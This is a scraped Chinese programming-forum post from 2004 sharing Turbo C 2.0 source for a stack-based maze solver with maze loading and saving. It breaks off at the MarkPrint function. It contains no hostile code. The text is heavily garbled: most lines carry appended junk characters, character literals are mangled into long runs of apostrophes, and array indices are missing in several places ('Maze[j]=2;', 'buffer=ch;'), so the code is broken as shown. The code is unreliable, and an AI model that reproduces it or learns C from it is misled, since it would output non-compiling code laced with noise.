QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7588|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left># l  I3 F( A( k
< align=left>程序目的:
4 K0 A/ p' D" H: W6 u) ]. O6 {1 x输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并; s0 e. ^6 F/ G8 E% c" a
显示在屏幕上。* m, |0 w& O/ {! M" \" v* P
程序实现:# r. ~2 R( t! M: G! e9 n3 e8 o8 k
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的, s: }& h; e2 s  a7 C* D) a2 b9 K
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
5 b0 i6 c) K+ _5 s" ^( X& G, p入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫" R- c6 ~: w$ d+ A- l3 ~" ^) ~! w
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
: r9 h  v' ^9 h' D5 S5 h/ ^否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
7 C4 m7 v/ n; T& l; r  ~0 Z# f用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
5 f3 b9 f( W  k  w将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
5 Q- ^4 f1 _$ Z9 Y: m% D找到路径时,屏幕下方会出现Path found,否则出现Path not found。
( B& B$ ?. T7 K# [程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。6 k' ]0 X; P# ~7 L- F, H6 G" ~( \
不可以在VC上编译。6 s5 O* Q2 M: j% ~, i# T
下载DOS版和windows版的迷宫游戏全部代码
0 Y8 p; H3 q/ T, z用户名:migong
5 [7 _/ D' @4 U& j----------------------------------------------------------------------------------
* h! G. ^( M; b; _5 W+ w6 s/*
  m- `7 j( ^6 g2 S2 JMazePath Demo BY Turbo C 2.0
; c6 q! k  ~, f) @: S" o1 F, z+ h0 A7 eCopyright(c) RoverUnion. All right reserved.* I* B7 z4 U5 F7 T8 S$ I; b5 R- |5 _
Filename: Maze.c
: \5 n; q1 A3 X- V, t. l: V+ HAuthor Dongchengyu.4 A" R) `: c/ G% Z* `8 X
Ver 1.103 X. b7 Y3 q. Q9 H6 v* h
*/
& x# }! Q& n1 @) B0 j* f8 R# _  ^#include &lt;stdio.h&gt;; T  k: w0 M' A0 O) t3 X
#include &lt;stdlib.h&gt;
: n" q$ {$ @& H8 P4 U. h3 R: o#include &lt;malloc.h&gt;
* P6 }4 T" u- ?. x! l#include &lt;conio.h&gt;
& e1 T- a9 E( e2 b) y5 B#include &lt;dos.h&gt;4 u; r; O" R* I! s+ T
#define OK 1
7 Q3 L2 {7 N! K#define ERROR 02 B" i; p0 n' V3 z
#define TRUE 1
# }4 g  F; I3 f, i+ K0 Z#define FALSE 0
2 e+ y3 e( _7 j# v5 x#define F9 0x436 k1 T0 P8 K, p* j8 t
#define Esc 0x1b3 t' W4 I. B3 d7 i
#define Del 0x53# P" \' u# ^( }
#define Home 0x47, F, n9 R& u. O0 N
#define End 0x4f; z2 N' }" P* \3 c0 j
#define Space 0x20
/ m- [' F( ?, n' W2 L; Z#define Up 0x48& e/ q4 {8 V. e" a7 e" e; t
#define Down 0x50& a6 T$ q  m- k
#define Left 0x4b/ O. T5 |3 [8 T
#define Right 0x4d5 `& T/ w' q, E: Y. I5 }
#define Enter 0x0d* S4 v- [: e7 c! t5 @
#define F2 0x3c6 x1 H. f9 M0 |, u- z! M6 j
#define F3 0x3d5 m' x+ a- R3 v/ H5 w! {
#define STACK_INIT_SIZE 2005 B+ K( t/ i  ?! D* L- L% |  @. k
#define STACKINCREMENT 100 U; H* w' a0 D9 |. K( z8 \1 t, l
typedef int Boolean;6 ]- M5 R5 P7 w& t7 m3 o
typedef int Status;
4 B) d$ v! [$ E: i. r3 @/ Rtypedef struct {
: L9 ~8 H- N; H* [% ]- Pint x;9 t/ q- T" c3 Y! R0 |8 ?! f: V
int y;5 p/ U- g( i1 g  O
} PosType;; r- D/ ]2 W  S! g5 L; J
typedef struct {
7 J( [2 Y$ D7 u. s* jint ord;
+ u$ D& p  ?9 LPosType seat;
% B/ R3 f5 @7 T" c. t; k" p: kint di;
7 u% x( X: Q  n* E# d% T/ v} SElemType;( h7 o; Q1 J8 B2 _/ I7 |$ I* h
typedef struct {8 M% {8 p  f6 ^# v
int td;/ @4 x" H$ s4 U4 F9 }
int foot;! J! p: q1 I1 R3 r
int mark;$ V) F* W$ M/ }- w( M% i8 r
} MazeType;4 ]; t$ g1 v, s$ W( N( J
typedef struct {6 Y% e5 K* }: j
SElemType *base;
  [5 {1 L, n) Z7 `SElemType *top;: S, C2 {2 O' ~' P
int stacksize;
. m  m! c! z( x) m' [} Stack;
1 i! t) r2 P4 S9 p) ~, i; F" _int Maze[20][30];
' o8 x/ m) e- `; }, ]- h; N7 QMazeType maze[20][30];
! W$ U: i7 o* IPosType StartPlace;
0 ~4 d" {9 h5 K# @3 v# ~PosType EndPlace;
6 l' i) g" V3 X3 x' |9 p0 yint count;4 Y/ y$ z9 i# g/ e6 t
int m,n;
3 ]+ w6 T  N6 _Boolean b_start=FALSE,b_end=FALSE;2 [* A/ ]9 }2 e; h# g
void CreatMaze(void);
4 E5 m. x2 s; e: @4 YStatus SaveMaze(char *filename);2 X( G. K! t: U4 F. o
Status LoadMaze(char *filename);
. l4 s8 H' o& ?/ Gvoid Error(char *message);
/ N  j2 f. F/ h; yStatus InitStack(Stack *s);/ B3 Z4 E( N& d, A' Z: j: Y6 R
Status DestroyStack(Stack *s);
. c& t: U* v  M9 LStatus ClearStack(Stack *s);4 n  I( K2 D$ D+ U  y9 _2 I& @
Boolean StackEmpty(Stack *s);
) f: y) D9 S0 [  o/ M9 q0 Kint StackLength(Stack *s);7 C8 Z# N9 d  z6 _+ r5 I9 @" U
Status Push(Stack *s,SElemType e);& ?; c" i( W  ^; Q) `
SElemType Pop(Stack *s,SElemType e);0 I; A) S) a) T3 i7 B
Status GetTop(Stack *s,SElemType *e);" q! z. H7 h( Z/ e/ L& Q9 ^, H5 J3 p
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));* u: a& m1 P0 G/ C$ l# C
Boolean Pass(PosType curpos);5 R4 L: w8 N+ Q  g$ [
void MarkPrint(PosType seat);# Z$ k" _9 i8 v- W1 Z
void FootPrint(PosType curpos);
/ r  C; k2 V- X4 ~4 x0 ZPosType NextPos(PosType seat,int di);" D% q' ]% Z/ J- Y
Status MazePath(PosType start,PosType end);
# g4 s1 U$ O- E- F; ]8 Svoid CreatMaze(void)
. x7 \5 C1 p! u) W3 u/* Form the maze. */
( X6 \/ u/ M) Q$ S{4 ^3 w& f( W" D0 g6 X* x+ k
void Error(char *message);  q( ]; v- E- |# j' Q) j: t
Status SaveMaze(char *filename);# T/ H+ W: n* R$ u1 j0 G) n
Status LoadMaze(char *filename);" v+ Z9 N6 `1 z6 U% Z* w5 R
int i,j;7 p3 N) W, }; @
int x,y;
7 _& k0 n; @5 Q* N0 m* L4 xchar c;$ s' x8 E! {# k+ V: h4 N- X9 D
char savename[12],loadname[12];
* d8 F: t0 \2 z2 G2 ABoolean flag=FALSE,load=FALSE;
/ a) I! K6 I+ |) @! i4 v9 M9 lclrscr();& G9 k7 F) `% C7 w; B2 S
printf("Menu:\n\n");
0 T7 _8 C, R7 Q# G7 k( T' ~printf("1.Load Mazefile*.dd)\n\n");
1 F9 C8 Z! U( p9 j( l4 W6 d! cprintf("2.Input Maze:\n\n");
' O2 a/ B% T7 ^$ @/ zprintf("Input your choice: ");+ y0 c$ L8 R: y+ B- d: I; I8 s5 Y
do
" j  t7 l7 h  K8 L1 ]; w{
% k& ^" l5 V$ Q2 n/ Kc=getch();
/ v$ \* ]/ c8 C7 {5 i- _switch(c)8 y7 u( z4 d( u9 ?
{. K1 U$ ~2 c" y5 [% g, ~
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;( |- R( ^9 T+ d/ ]0 \
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;# r1 S$ l) n4 \' L5 {
case Esc: sleep(1); exit(1);
. a" w' s( X( G' Cdefault: break;. A# D+ X0 c! N, t! q
}3 o% ]+ @5 B; c5 `' ^& x
}/ |. ?0 S1 N" ~2 F: a" S$ e
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;! u8 Z8 w; f0 g$ |, R  ^+ X
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
  |. e" l9 {$ H5 N3 t{% G# C) n4 }! S% [; G
printf("\n\nLoadName: ");
1 Y' p" u7 o2 I  r; W6 q3 A. [scanf("%s",loadname);6 z( }4 j, |  v' i: {6 y" _
if(LoadMaze(loadname))
7 W0 R4 X: b) H( E1 e9 z7 w{
# z7 Z4 \3 h2 I7 M( V* V0 wsleep(1); load=TRUE;
7 M2 q* `: G! r6 d}
8 c, F: D5 |+ Y" Nelse { gotoxy(1,9); printf("Load fail! "); }
8 s# n, W0 I3 P  J/ J+ y- L/ m}
# N9 Y: \  T! i! o, h' r, T3 }+ Nif(!load); p' X' D# f* B1 z: T7 X# \
{3 t7 ?- F1 v; E
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");8 w1 I* F' n, X
printf("\nInput Length :\n");
' w6 j# H, r: b2 d* p# L- cscanf("%d",&amp;m);
2 m, v) e4 C9 [- I  i4 M7 z$ Hprintf("\nInput Width :\n");
9 N' H: l$ p+ t& J/ M# q( yscanf("%d",&amp;n);
; \) p, V) x0 A: G+ Rif(m&lt;4||n&lt;4) Error("Input");- ^$ ]) e7 G: u# u% N4 L
if(m&gt;30||n&gt;20) Error("Maze too large");: G. ?6 `- |$ G9 \/ X
for(i=0;i&lt;30;i++)2 G+ G$ ~7 p$ S
for(j=0;j&lt;20;j++)4 u. p  v  g- j- G( b7 I
Maze[j]=2;
- o/ ^" O( M( s2 V  l+ d( gStartPlace.x=0;
; b4 @2 k6 F% d* HStartPlace.y=0;
+ E/ t2 f& m) L* R3 eEndPlace.x=0;
- a( m' J, r7 h0 i* K# I" iEndPlace.y=0;$ U8 t1 d; q  y3 T7 \$ x
clrscr();
) D* J' R# T3 K3 wprintf("\n");- Z: T# N% Z; j4 H8 u( _
for(i=1;i&lt;=n;i++)
$ v5 b: X5 |# q{
2 [" U' Q, @7 Y0 X% Ofor(j=1;j&lt;=m;j++)0 h; X+ i+ R" j3 m# w( P
{
3 l: R- a8 e+ h2 gprintf(" #");7 K6 A1 T7 W2 A, a
Maze[i-1][j-1]=0;
* p; z1 o$ ?8 `' v7 W- L}8 V) w8 M# {! o- o3 D4 t' h
printf("\n");$ e( D+ R3 S  h& q( A& e6 i
}+ ?8 ^: {1 y+ v9 K6 T
}
, Q1 ^0 [" J$ i9 O( tgotoxy(65,5);. ]! ^3 U" h& V# @
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
, Q/ ]. v& c% G0 t; ]gotoxy(65,7);
: y" u) b  v9 k) C& e, c! r  V. t' Iprintf("Start:Home");+ ?4 H1 M$ g# a* j% n
gotoxy(65,9);. [  U: J% C5 e  \, m1 \. ]) l: B
printf("End:End");+ d) L5 g& K: p/ b" q
gotoxy(65,11);  w# h9 [3 [8 a( ?( Y9 }: b7 m. f
printf("Delete Wallel");
, J& y, \- k4 O% zgotoxy(65,13);
1 S9 O" e: q3 e. `printf("Enter Wall:Enter");/ y. f7 {" L8 e3 d
gotoxy(65,15);' s- v  w+ o# E) h8 _/ @
printf("Save Maze:F2");7 o7 N$ l# l" {
gotoxy(65,17);
  d' W3 V8 z$ K7 q+ Vprintf("Complete:F9");
# r8 g  L* P1 w9 L3 Y' N, L% S( jgotoxy(65,19);
' M2 _1 ?, |% c0 p) E" @. Q  x9 Rprintf("Exit:Esc");
- g. v4 ^8 D3 C4 g& b% @, D% Bgotoxy(4,3);
& @- p5 O1 m  F8 k1 n0 A* Nx=4;y=3;, p; d# l1 Q  J8 |) U
do
' V& h( B( Q- j" m  K0 K6 L. b{' a8 N* p7 c2 x+ p: Y! X, U
c=getch();
# a7 B) y9 u5 u6 G4 p4 bswitch(c)
/ R4 s' m0 j; z1 f1 f* [{
3 Q! d0 k: ~8 o3 x! b5 A, rcase Up: if(y&gt;3) { y--; gotoxy(x,y); }& V! i% |# e% n5 Y2 c
break;
$ Q1 B, p( n9 p! [2 t9 Icase Down: if(y&lt;n) { y++; gotoxy(x,y); }. k- h6 r6 A8 e: z9 V7 t
break;
9 r5 U& M: |. x  w$ w4 Tcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }  s  f8 F# }$ V- W% q4 h' v
break;
! n9 k9 P" d- k5 C! `; ]case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
5 O* I7 }- [, }4 t! q' ybreak;
( o4 J) H, W" Kcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
0 }* h5 c1 o# L) H3 U# @. J6 }if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
. a$ O7 |0 E  W" sputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);9 g( Z( e  t5 P. z
break;, q' X6 y$ @' P7 f- y+ [, N* d
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
7 O  ~: m5 u4 `4 Oif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
5 ?- G  k) D; N. L0 o) Xputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
3 N! o) x* }' V8 T; x2 Tbreak;
* ]$ A: ~. M% m% F2 scase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)/ u# K9 A: u9 i
{5 i& i$ e) S6 K# W" N. C
StartPlace.x=x/2-1;
& w* f; @( j3 F' z& b0 pStartPlace.y=y-2;
3 ~$ k! C2 p% |5 W4 _putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
5 j# J3 F& D9 H- xgotoxy(x,y);: U1 G" H4 z( _2 M2 w; S2 _
b_start=TRUE;0 r% S1 m% y9 R; x5 i; R' `
}6 J1 n( u$ ]$ ?* ]1 {+ v
break;
! U1 y$ F2 U; `  u8 K* R% O; Rcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)" P2 O3 w: E3 A
{& t; ~5 Y: o  M  b
EndPlace.x=x/2-1;4 s: q2 V  P) G; L
EndPlace.y=y-2;; f, n6 x: k% i: x
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
# h0 l+ ^8 Y8 Wgotoxy(x,y);
6 H' n( a  o: u4 \, l0 Zb_end=TRUE;* |, |2 ^% D+ H- }5 ~
}
0 [5 s! M* [* n$ G# Dbreak;
5 C1 v% r$ T2 U: Z! {" Ecase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
2 g! v) L: V  A+ h) h: qcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
3 q4 V( m; w. P( _2 O! ~case F2: gotoxy(2,22);; F- L9 G4 R& R, }, t
printf("Savename:");
) }( R8 b/ l# x6 F3 Vscanf("%s",savename);
8 g* l4 v+ m1 l: V, d2 }6 _$ Ygotoxy(2,22);+ A7 M4 v, {% ~1 j0 K+ |- V
if(SaveMaze(savename)) printf("Save OK! ");7 J4 E! m4 i7 }. z  m
else printf("Save fail! ");
* T7 r0 J# Z4 A0 Z& A0 L# x9 Csleep(1);
  L; x# C+ M, Wgotoxy(2,22);
3 {' C/ t8 i' R; \+ O* `1 q4 |printf(" ");8 J# R: l/ ~  p/ x7 r
gotoxy(x,y);" O0 R  L  k4 o5 |
break;
; B6 L3 I5 e' g% j! |( S' Bdefault: break;  f- V; p) R8 V0 Y
}! ?  ]3 G$ R1 M, q. T; U
}3 _8 O# j% g: j" v  B8 c
while(!flag);% X! D( m# t5 F' y7 Z
for(i=0;i&lt;30;i++)& t/ w5 _! r& N
for(j=0;j&lt;20;j++)
1 A6 D3 }5 W5 }{
; Y5 Z0 a3 [6 `' M' [5 ^% ~% |maze[j].td=Maze[j];
7 e) W1 }' c% g: l- M, \: {1 smaze[j].mark=0;( D9 v3 Z& [! z3 I5 a- H% f$ T
maze[j].foot=0;$ A/ f; m+ s) w$ D; o
}' M9 a$ ^9 H  a
}
. `  j) p, y9 T4 k- h* Z, rStatus LoadMaze(char *file)
9 B- R- m. T  H& ^! N: h/* The maze has been loaded. */
# J9 {- I" w$ E. U# t( `  O{4 R' Z' I# c3 ]+ d1 y7 m' z
FILE *fp;
% O. B! O: ?- z2 rchar *buffer;
. J- t) I! Q8 q! I6 Pchar ch;9 V  }0 H) a/ r: |3 u9 x' f' M
int i=0,j,k;$ q; W9 u4 u- d$ h
Boolean len=FALSE,wid=FALSE;
) ~4 C$ ]3 u5 x1 N) Lif((fp=fopen(file,"r"))==NULL)/ [  p. c8 q+ N7 m. ~8 B  ^
return ERROR;
) A) ?/ X' V6 c) ]" Qbuffer=(char *)malloc(600*sizeof(char));
7 J; S9 z9 G% ]3 H2 |; v3 J5 I* |: S3 Sch=fgetc(fp);2 D' y$ S. ?2 Z; _  n
while(ch!=EOF)
) A, F" _) v, m{
+ t, {( ^- x! }5 `/ l6 n  jbuffer=ch;
* m" n! |5 P. }, j8 xi++;% t/ k/ d6 l0 z2 S+ a4 M
ch=fgetc(fp);6 N  ^# W% w/ ?1 q% X
}5 M, m- V. O$ s$ W' Q
m=30;n=20;0 h3 f# A7 m9 ^9 _- }3 i! E5 A
for(i=0;i&lt;600;i++)
% b9 A$ U* @' g. d; W, x{0 x8 _9 E/ L- _, A" F
j=i/30; k=i%30;8 ~# {( y' `2 D
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }0 P5 w) U" K3 o# B1 j, ]2 l6 H9 J
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }" _( a# n0 ?4 ^+ J% f# K8 A. h
switch(buffer)
) A9 Y* w3 K, J9 e. m* ?{8 ~: {( |% }* @; F: |& C
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;0 F* M: J! m7 @, T
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;! T9 c4 P4 {  h1 m
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;. J1 |) v; g9 K7 ]& A( C# ?
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
0 n" y  w2 y4 w4 qStartPlace.x=k;. r( E% [2 K: q3 l: W4 o
StartPlace.y=j;! _. @# M% H, x0 c6 Z! j" r8 j0 Y: @
b_start=TRUE;
4 H8 a& U. ]: m! p/ q# l1 L% _, t2 {break;; @0 S# Y2 c" W  V+ }
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;' d; n0 C6 {- u5 D! r6 i+ [
EndPlace.x=k;
! m9 v( }* A% J' t. x+ x/ bEndPlace.y=j;
1 }; d: {  w- n! x' P. mb_end=TRUE;
" d( p" d. T& n. ~% C( Obreak;7 p# b7 D7 f' r3 G- A
default : break;
" [3 S. Y1 N* o}
; ?3 @& b7 p! B5 I4 g}
* n9 r) z; t& pfclose(fp);
  g. N3 W6 ^* n% P; W# A' X/ ~clrscr();
8 L4 k  F+ h# }" f  |for(i=0;i&lt;30;i++)
6 @; [% K, p  q* \- s1 {7 o9 j3 ]for(j=0;j&lt;20;j++)6 ~4 c6 g8 j; u( R* h  b8 C
{7 m8 @3 ~* j/ B  [8 b9 a5 s2 S1 p% k! ~
maze[j].td=Maze[j];
0 r' s* J& J7 \' P  U( ?maze[j].foot=0;4 t# b: c0 E- {: F
maze[j].mark=0;, A# b8 v* d5 f- ^
if(Maze[j]==0)( H% {" B, ^" Z0 b
{( B+ r; C+ k7 \) G3 ]& H
gotoxy(2*i+2,j+2);7 m* e, z5 T& B( l  M! ^
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
+ O& t% R7 v; L$ u# T9 w* e- s}6 V; W: ]: s; o( n6 o1 J
}
0 Q8 ]5 m5 b+ j2 s! n5 B' ngotoxy(2*StartPlace.x+2,StartPlace.y+2);. Z+ C" @% I" i5 _4 h$ ]4 I
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, E( U2 p1 X& Y3 [  l4 _- {gotoxy(2*EndPlace.x+2,EndPlace.y+2);& y5 h' A* ?9 O2 }5 U
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');0 k* _( k8 x8 z9 Q4 j; [
return OK;8 f# Z, P; i& i% d1 Z/ Z  w4 F& n
}5 f0 z4 K. d( S+ N# b" ~8 y
Status SaveMaze(char *filename)
6 @) U1 G2 L6 c) z8 i* H, G/* The maze has been saved. */) |' M1 H6 u' r: o
{" ]% N* _- }! m- k
FILE *fp;' `. O0 [# B5 ]/ O& N9 K) `
char *buffer;
  e2 G6 L4 t; ]6 r: Yint i,j,k;- G6 R/ Y/ n1 J5 t" b6 r, J
fp=fopen(filename,"wb");
# s) E: x# V+ b' j2 r* t( p  obuffer=(char *)malloc(600*sizeof(char));/ |' P+ v7 `7 k. X& \
for(i=0;i&lt;600;i++)
% g" i+ I5 u( H9 Q3 E7 \9 S2 a{- l. h7 ^  C8 c  G! k8 P9 O) u
j=i/30; k=i%30;
& V3 w: T& y/ o6 E& r2 r) }switch(Maze[j][k])4 L" n5 @. c; ?1 S. B3 ]
{' c4 M/ ^7 u/ |& `: p* z6 E
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;+ U* D0 F. ?8 l
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;. a4 ]( q: _' o+ k
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
- u$ i( Q' y( k' tdefault : Error("Write"); break;
9 |" O7 s8 k: i! q}% J/ G: s  h: S0 b  ]0 s8 J$ ?: ^
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
7 c$ X% g: C* k+ f  j" u6 bif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
' N- i1 p9 X7 v" J# j}2 ^; _) S2 Z) e3 @1 g4 V
fwrite(buffer,600,1,fp);2 x7 Q; z$ C) A
free(buffer);5 I  \+ W& B7 v# z( w* B: a, Q
fclose(fp);
' z" b) Q& ]# E+ V& f3 Q; Sreturn OK;2 m2 B5 a7 I7 q; y& T! Q9 t
}* ?" j: _# }4 w$ J! L  S( V
void Error(char *message)
6 l) N$ `8 _, m* G# |{9 l& P, ]5 {) |
clrscr();6 R3 L: I7 I8 j  {
fprintf(stderr,"Error:%s\n",message);; }1 f& _3 ?5 E
exit(1);8 z8 S, E9 o% W, h# p! z/ l
} /* Error */% L* Y% p8 A2 d# ^1 B
0 }( Y5 j- @* ]& ~/ j2 A
Status InitStack(Stack *s)
0 v' i( M+ n" d3 Y# H/ ^/* The stack s has been created and is initialized to be empty. */
! a9 R; Z  @! W9 {& N{
" S+ ]; U. l4 S7 u% [9 ms-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
( A2 U) t* I! J! o3 Gif(!s-&gt;base) Error("Overflow");
* _) G* F+ h/ _; i+ Rs-&gt;top=s-&gt;base;) W0 c/ ~$ O( N
s-&gt;stacksize=STACK_INIT_SIZE;
$ I9 z1 j" Y/ ]return OK;
- |' Z/ v, y8 S. ^% h- _2 j} /* InitStack */* l) B2 l( q+ R% {7 G  T- S
Status DestroyStack(Stack *s)
" C6 v1 d( u; h! t+ x" Q/* The stack s has been destroyed. */6 j/ U2 h7 @) e
{6 X$ }; ^. W, H  Q; N1 G
s-&gt;top=NULL;
* C* G% D7 |- u: Ts-&gt;stacksize=0;
1 c/ j( E9 |9 E% _* F# ^2 Ifree(s-&gt;base);# h' ^. b! E* h  R! N3 g
s-&gt;base=NULL;! `+ s5 C, U) J% W
return OK;
( Z6 M- ]9 s2 r! L" G} /* DestroyStack */
! n1 o9 r% R) H) FStatus ClearStack(Stack *s)$ x  L8 d) R4 n% F/ v  y0 a) F+ I
/* The stack has been clear to be maximum. */3 _; r4 ~7 K& D" r0 E
{
. N  Q. s& |/ bs-&gt;top=s-&gt;base;4 A5 k6 x4 O5 ?2 x0 N6 i
s-&gt;stacksize=STACK_INIT_SIZE;$ L7 X6 A* p# e- x: W
return OK;: W# P' C7 j0 l3 S4 M
} /* ClearStack */+ P5 {- M' N1 ~6 m
Boolean StackEmpty(Stack *s)
( g; h# Z0 d8 E' `) a* K+ [/* Check if the stack s is empty. */
: _1 g+ R2 q) y2 Y& t0 ?! i+ m6 `2 }{* a! S2 S( l' K  d
if(s-&gt;top==s-&gt;base) return TRUE;' c2 T: S! p& m% j  Q
else return FALSE;
6 L1 d) o7 |' v7 F! N7 \# S} /* StackEmpty */9 u, I/ C8 a4 I
int StackLength(Stack *s)
8 X; S# [; E6 l, |/* Gain the length of the stack s. */
# N1 z  t, `$ P; Q, x7 g$ D{
: I. f& {3 y9 D! k/ W$ M: Jif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
0 Z' P( V0 T8 q3 q- Oelse return 0;& }. X* v0 P  z% ~: y# O# \  y0 W6 l1 Y
} /* StackLength */
- p) X2 \# ]2 K* ]$ P9 |Status Push(Stack *s,SElemType e)
" g# C4 r2 _- G  O& d/* The element e has been pushed into the stack s. */) x% b* b. A3 w6 I
{" |+ e7 C" t3 ]
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
; W" F' w. _! q! B" Q0 Y" ^{
" _+ @( E# Z- W+ J* }s-&gt;base=(SElemType *)realloc(s-&gt;base,, |1 j/ t0 X  v9 H2 f# O7 O
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));8 q$ H( d& Y  G8 C
if(!s-&gt;base) Error("Overflow");3 ~* y7 D. N/ a, r3 g
s-&gt;top=s-&gt;base+s-&gt;stacksize;' }$ L6 k  ^* c. d
s-&gt;stacksize+=STACKINCREMENT;
$ p* T+ z) _& v# j}2 V. v7 N  {, w/ V
*s-&gt;top++=e;
" B! w5 V4 S* C0 kreturn OK;. K& W1 O4 o5 h6 f: A
} /* Push */0 @& }* Z) j0 I# G5 r9 p
SElemType Pop(Stack *s,SElemType e)" s7 L- ~) j" |( w9 q
/* The element e has been removed from the stack s. */1 e) k4 l  `; R8 x! |- y
{
1 t) C- c7 e7 m& @if(s-&gt;top==s-&gt;base) Error("op");
7 h9 }; o0 J. G. J9 b5 e) Ye=*--s-&gt;top;
1 S: |5 _/ N2 z- }! Areturn e;
, n* ]# D5 e5 }7 G7 @} /* Pop *// k8 u( O& F4 H& k
Status GetTop(Stack *s,SElemType *e)
0 S9 ?6 ?6 I8 {/ e/* The element e has got to the top of the stack s.*/
* N6 }2 Z* {7 I) C; U5 `{9 ]5 `- c$ w# E3 V0 T
if(s-&gt;top==s-&gt;base) Error("GetTop");
# @0 a  q, d2 j9 t6 f& c" X+ A' j  F) ?*e=*(s-&gt;top-1);
. d- U3 w: a+ ~return OK;3 l+ r. b3 Z" {: q+ \) G4 f
} /* GetTop */
/ B" e* x8 @6 L9 l8 u/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
9 W) b: L$ g3 Y. J; i; |- h/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
, u1 I& W5 }7 ^* p3 U9 V{  C( U: W# _' ^9 V& s. A
SElemType p;
  I  [  \% l0 ?( j! k& M4 w# Iint result;
6 o- ~( R: f* A% F8 w. B( Pif(s-&gt;top==s-&gt;base) return ERROR;+ o* ^0 t3 D- j* b/ V& }" ^
p=s-&gt;base;) e  J5 ?7 @4 B6 h% b! l5 Q
while(!(p==s-&gt;top))! u( g2 ?; }+ M% \2 V8 j) u6 H" |% V
{
) y. R$ z7 r' Z( e) \0 Wresult=(*visit)(p);. M" T$ Y1 B# m& D
p++;; e# y3 Q6 [7 e1 u! w
}( X" |1 [: C7 ?' x/ [$ `
return OK;7 O5 p+ A1 ]8 _$ n. V
} */
3 Z1 T, V1 g6 }. u9 R4 {Boolean Pass(PosType curpos). \3 H7 f) K- J: s8 X3 Z
/* Check if the current position can be passed. */
$ _" G, @9 E" ~{
" {! g8 n4 T% R7 T9 a- F/ C1 i: Z+ Tif(maze[curpos.x][curpos.y].td==1&amp;&amp;+ _, J2 i+ B; W, }' h! m$ }
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
  E% |: e" ?- M; P. G+ c) X$ Mreturn TRUE;8 P" o, x2 k1 i/ f7 P
else return FALSE;( j  p; u5 h; g0 R
} /* Pass */  _2 _( N& l2 K' D
void MarkPrint(PosType seat)
